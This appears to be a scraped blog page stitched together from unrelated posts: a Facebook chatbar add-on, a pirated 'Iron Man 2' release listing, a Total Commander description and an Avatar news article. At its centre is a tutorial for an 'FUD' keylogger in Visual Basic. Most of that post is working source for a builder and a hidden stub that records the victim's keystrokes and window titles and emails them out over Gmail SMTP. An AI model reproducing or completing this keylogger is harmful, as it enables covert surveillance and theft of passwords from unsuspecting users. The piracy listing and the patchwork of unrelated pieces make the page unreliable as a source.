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Want to have a Facebook chatbox that looks like this?

It has smileys on top of the chatbox, you don’t need to type the smiley code.. just click then viola!

Step 1 : Download Greasemonkey. <----just klik.

Step 2 :
After Installing, restart your browser.

Step 3 :
Install Facebook + Chatbar + Addon. <---- just klik.

Step 4 :
Restart again your browser.
Close and open your mozila again..
Cek your facebook..


Iron Man 2 (2010)

TiTLE :Iron Man 2 (2010).Pre.Release.XviD
RLS.DATE :28 August 2009 (US)
PRE.RLS.DATE :7 May 2010 (USA) (US)
YEAR :2010
GENRE :Action
XviD| 864x352 | 23.976 fps | 2.53:1 |
x264@681 kbps | English |
AAC 2CH @ 128 kbps | 126 mins |
733 Mb
Genre: Action | Adventure | Sci-Fi | Thriller



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Make Own FUD Keylogger in Visual Basic

Hello everyone. This is my new tutorial about making an keylogger in Visual Basic .NET, also called VB8. Before we start I'm going to explane you something more about Visual Basic. The Visual Basic is programming language created by Microsoft Corporation. Its most popular programming language in the world, its easy and good. For you just started with Visual Basic, this will be great tutorial to learn a bit more about it. Also if you are reading this tutorial, please dont just copy/paste .. the best way to learn is to read and study source. Even if its advance and hard to understand, you will find way to understand it .. like me.

OK, now i will explane you something about programming languages and how the computers understand them. A Computer cannot understand any persons spoken language. A spoken language such as English is simply too general and ambiguous for computers to understand. We must adapt to the machine and learn the computer language so that the computer can understand. This is where visual basic comes into it - when you type visual basic source code into the computer, the computer processes these statements into Visual Basic language.

WARNING: It doesnt work on Win7 & Vista because the name of .dll which I use to get keys isnt that name for vista & win7! You can google the name of .dll library to find for Windows7 & Vista


Download Visual Basic Express Edition 2008 for free if you didnt already.

  • Run Visual Basic
  • In Tab click File > New Project
  • Windows Application > "Keylogger Builder" > Click Ok


Change the following from the Properties of Form1:

FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder


From the Toolbox add:
  • TextBox1 - The GMail Username textbox
  • Textbox2 - The Gmail Password textbox
  • Button1 - The Build button, Change text to: Build
  • Label1 - Change text to: Gmail Username
  • Label2 - Change text to: Gmail Password


Now when you add all these, on top of code add:

Imports System.IO

Now under Public Class Form1 add following code, that would be strings:

Dim stub, text1, text2 As String
Const FileSplit = "@keylogger@"

Now when you done with that, just simply double click Button1 and add:

text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
If File.Exists("Server.exe") Then
End If
FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit)
MsgBox("The Server.exe is builded!")

Now you got your builder and now lets move to Stub.

  • Run Visual Basic
  • In Tab click File > New Project
  • Windows Application > "Stub" > Click Ok


Change the following from the Properties of Form1:

FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized


From the Toolbox add:

* Textbox1 - KEY LOGGER(follow everything what victim write)
* Textbox2 - GMail Username
* Textbox3 - GMail Password
* Timer1 - Upload Interval
* Timer2 - Get name of window where keylogger get
* Timer3 - Get Keys


Timer1 Interval = 900000
Timer2 Interval = 100
Timer3 Interval = 100


Now when you add all these, on top of code add:

Imports System.IO
Imports System.Net.Mail

Now under Public Class Form1 add following code, that would be strings:

Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Const FileSplit = "@keylogger@"

Now double click Timer1 and write following code:

Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.From = New MailAddress(TextBox2.Text)
MailSetup.Body = TextBox1.Text
Dim SMTP As New SmtpClient("")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)

And add this as Function to source code:


Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing

Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function

Now double click Timer2 to get names of active windows:

If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
strin = GetActiveWindowTitle()
End If

Now double click Form1 and write following code:

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)

Now double click Timer3 and past code:

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i


You are done!

Finnaly you made your own, keylogger ... enjoy and for more informations and error reaports please PM or post here, I'll fix it :)

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Total Commander 7.50

Total Commander is a file manager replacement that offers multiple language support, search, file comparison, directory synchronization, quick view panel with bitmap display, ZIP, ARJ, LZH, RAR, UC2, TAR, GZ, CAB, ACE archive handling plus plugins, built-in FTP client with FXP, HTTP proxy support, and more.

Features of Total Commander:

- Two file windows side by side
- Multiple language support
- Enhanced search function
- Compare files / synchronize directories
- Quick View panel with bitmap display
- ZIP, ARJ, LZH, RAR, UC2, TAR, GZ, CAB, ACE archive handling + plugins
- Built-in FTP client with FXP (server to server) and HTTP proxy support
- Parallel port link, multi-rename tool
- Tabbed interface, regular expressions, history + favorites buttons
- Both 32 bit and 16 bit versions available!
- Long filenames in Windows 95/98 and Windows NT (16 and 32-bit version)!
- Direct access to Network Neighbourhood
- Supports Drag & Drop with Explorer/the Desktop etc.
- Command line for starting of programs with parameters, simply by typing the program name or by pressing CTRL+ENTER or CTRL+SHIFT+ENTER.
- Configurable button bar and Start menu (User-defined commands) to place your frequently used DOS or - Windows programs into a drop-down menu. The actual directory and/or the file under the cursor can be delivered to the application.
- Configurable main menu.
- Built in file viewer (Lister) to view files of ANY SIZE in hex, binary or text format, using either the ASCII- (DOS) or the ANSI- (Windows) character set. The line width and font size can now be changed. You can even view files inside archives! New: Support for Unicode UTF-8 format.
- Bitmap viewer in Lister, additional formats through Irfanview (see addons).
- HTML- and Unicode-Viewer in Lister.
- Parallel port transfer function (direct cable connection), works between Win95/98/NT/2000/3.1 and DOS!
- Thumbnails view, custom columns, enhanced search

Total Commander comes in the following languages: English, German, French, Italian, Danish, Swedish, Norwegian, Dutch, Spanish, Czech, Russian, Polish, Hungarian, and now also Hebrew, Greek, Afrikaans, Catalan, Turkish and Ukrainian! The help is available in English, German and French (separately).


Avatar (2009)

Director: James Cameron
Writer (WGA): James Cameron (
Release Date: 18 December 2009 (USA)
Genre: Action | Adventure | Sci-Fi | Thriller
Sam Worthington ...Jake Sully Zoe Saldana ...Neytiri Sigourney Weaver ..
.Dr. Grace Augustine Stephen Lang ..
.Colonel Miles Quaritch Michelle Rodriguez ..
.Trudy Chacon Giovanni Ribisi ..
.Parker Selfridge
Runtime: 162 min
Country: USA
Language: English
Color: Color
Aspect Ratio: 1.78 : 1
Sound Mix: Dolby Digital

los angeles, august 17, 2009 - twentieth century fox announced today additional information about its global, history-making avatar day event when, on august 21, the world will get its first look at director james cameron's motion picture epic avatar. In this unprecedented experience, the studio and cameron debut the film's trailer everywhere, while select cinemas and imax® theaters will screen select scenes in 3-d, prepared by the renowned filmmaker.
The worldwide trailer launch will be presented in all formats, including imax® 3-d, imax® 2-d, digital 3-d, digital 2-d, and 35mm 2-d. The trailer will also be available online.

The extended look at avatar will unspool for two showings only on the evening of august 21. The u.s. Showings will be in select imax® 3-d theaters, and international unveilings will be in select digital 3-d and imax® 3-d theaters. Information on reserving tickets for these very limited showings will be available beginning august 17, 3:00pm edt (noon pdt), at

In addition on the 21st, fox will take the wraps off its special "3-d"/lenticular one-sheet posters for the film, ubisoft® will unveil the trailer for their videogame james cameron's avatar: The game, and mattel will reveal the action figures for the film's avatar and alien na'vi characters.

Avatar takes us to a spectacular new world beyond our imagination, where a reluctant hero embarks on a journey of redemption, discovery and unexpected love, as he leads a heroic battle to save a civilization. The film was first conceived by cameron 14 years ago, when the means to realize his vision did not yet exist. Now, after four years of actual production work, avatar delivers a fully immersive cinematic experience of a new kind, where the revolutionary technology invented to make the film, disappears into the emotion of the characters and the sweep of the story.

when james cameron directed his first 3-d film, "terminator 2: 3-d," for universal studios theme parks more than a decade ago, the bulky camera equipment made some shots awkward or impossible.

The 450-pound contraption _ which had two film cameras mounted on a metal frame _ was so heavy that producers had to jury-rig construction equipment to lift it off the ground for shots from above. The cameras, slightly set apart, had to be mechanically pointed together at the subject, then locked into place like an unwieldy set of eyes to help create the 3-d effect.

At $60 million, the 12-minute film was the most expensive frame-for-frame production ever.

Now, five months from its release, cameron's "avatar," the first feature film he has directed since "titanic" (1997), promises to take 3-d cinematography to an unrivaled level, using a more nimble 3-d camera system that he helped invent.

Cameron's heavily hyped return also marks hollywood's biggest bet yet that 3-d can bolster box office returns. News corp.'s 20th century fox has budgeted $237 million for the production alone of "avatar."

the movie uses digital 3-d technology, which requires audience members to wear polarized glasses. It is a vast improvement on the sometimes headache-inducing techniques that relied on cardboard cutout glasses with red and green lenses and rose and fell in popularity in the 1950s.

"avatar" also raises the bar on "performance capture" technology, which creates computerized images from real human action. The movie depicts an ex-soldier's interactions with 10-foot-tall aliens on the luminous planet of pandora.

"i'm speechless," said nahum villalobos, a 19-year-old navy recruit from vista, calif., who watched 25 minutes of exclusive footage of "avatar" along with 6,500 people at the comic-con convention in san diego on thursday. "it's more extraordinary than any other movie that is out there, or has been."

the $237 million production is not as expensive as some 2-d fare such as "spider-man 3" (2007), which was made for $258 million. But it blows away "monsters vs. Aliens" (2009), a 3-d animation movie made for $175 million.

Then again, cameron's last film grossed $1.84 billion worldwide. "titanic" is the highest grossing film ever.

"if you know jim cameron, it's all about pushing the envelope," said vince pace, who helped him develop the 3-d camera system used in "avatar."

cameron tweaked his cameras through two 3-d documentaries he made for imax theaters, "ghosts of the abyss" (2003) and "aliens of the deep" (2005).

His camera rig is now lighter _ up to only 50 pounds _ and the two camera lenses can dynamically converge on a focal point with the help of a computer, which is crucial for sweeping camera moves and action sequences.

In some of the "avatar" footage released at comic-con, humans filmed with his 3-d camera rig are mixed with the computer-generated images of the movie's avatars _ beings created with mixed human and alien dna.

Cameron said he wanted to have the filmmaking techniques fade into the background as the story took over.

"the ideal movie technology is so advanced that it waves a magic wand and makes itself disappear," he said.

Cameron himself was behind the lens in many scenes that were framed using a "virtual camera" _ a handheld monitor that lets the director walk through the computer-enhanced 3-d scene and record it as if he were the cameraman. The effect on screen is a "shaky cam" effect that makes action sequences seem up close and sometimes focuses the audience's gaze at something in particular.

"it allows jim to approach this process with the same sensibilities that he would have approached live-action filming," said producer jon landau.

The ability to capture human emotions in computerized 3-d has also advanced.

Unlike past methods that captured dots placed on human faces to trace movements that are reconstructed digitally, now each frame is analyzed for facial details such as pores and wrinkles that help re-create a moving computerized image.

"it's all going to advance the whole concept of 3-d one leap higher," said marty shindler, a filmmaking consultant with the shindler perspective inc.

Yet even with four years of preparation and the attention surrounding "avatar," there will not be enough u.s. Screens adapted to the technology for a full wide release only in 3-d.

Of the 38,800 movie screens in the u.s., about 2,500 are capable of showing digital 3-d movies. Theater chains have been adding about 90 to 100 per month this year, but they're still short of the 4,000-plus screens that have been used for major event movies.

With the conversion costing $100,000 a pop, theater owners are wary of moving too quickly, said patrick corcoran, director of media and research for the national association of theatre owners.

"the successes of `monsters vs. Aliens' and `ice age (dawn of the dinosaurs) in 3-d' aside, this is still really early days for this format," he said.

Studios are pushing theater owners to convert more screens, partly because people pay about $2 more per ticket and cram theaters for 3-d releases. Revenue per screen is up to three times higher than for the same movie's 2-d version.

Walt disney co.'s chief executive, bob iger, said this week that his studio has 17 3-d films in development, including "a christmas carol." that movie, directed by robert zemeckis, adopted many of the same performance-capture techniques used in "avatar" but comes out a month earlier, in november.

Jovan cohn, a 43-year-old systems engineer from newport beach, calif., watched the "avatar" preview at comic-con and expects to line up with his son for another free look on aug. 21, when some imax theaters will show 15 minutes of the film. Cohn also plans to catch the full movie's release dec. 18.

"it takes you into a new world of moviegoing and we really think that it's going to be a hit," he said. "no question on that. James cameron just hit another home run."


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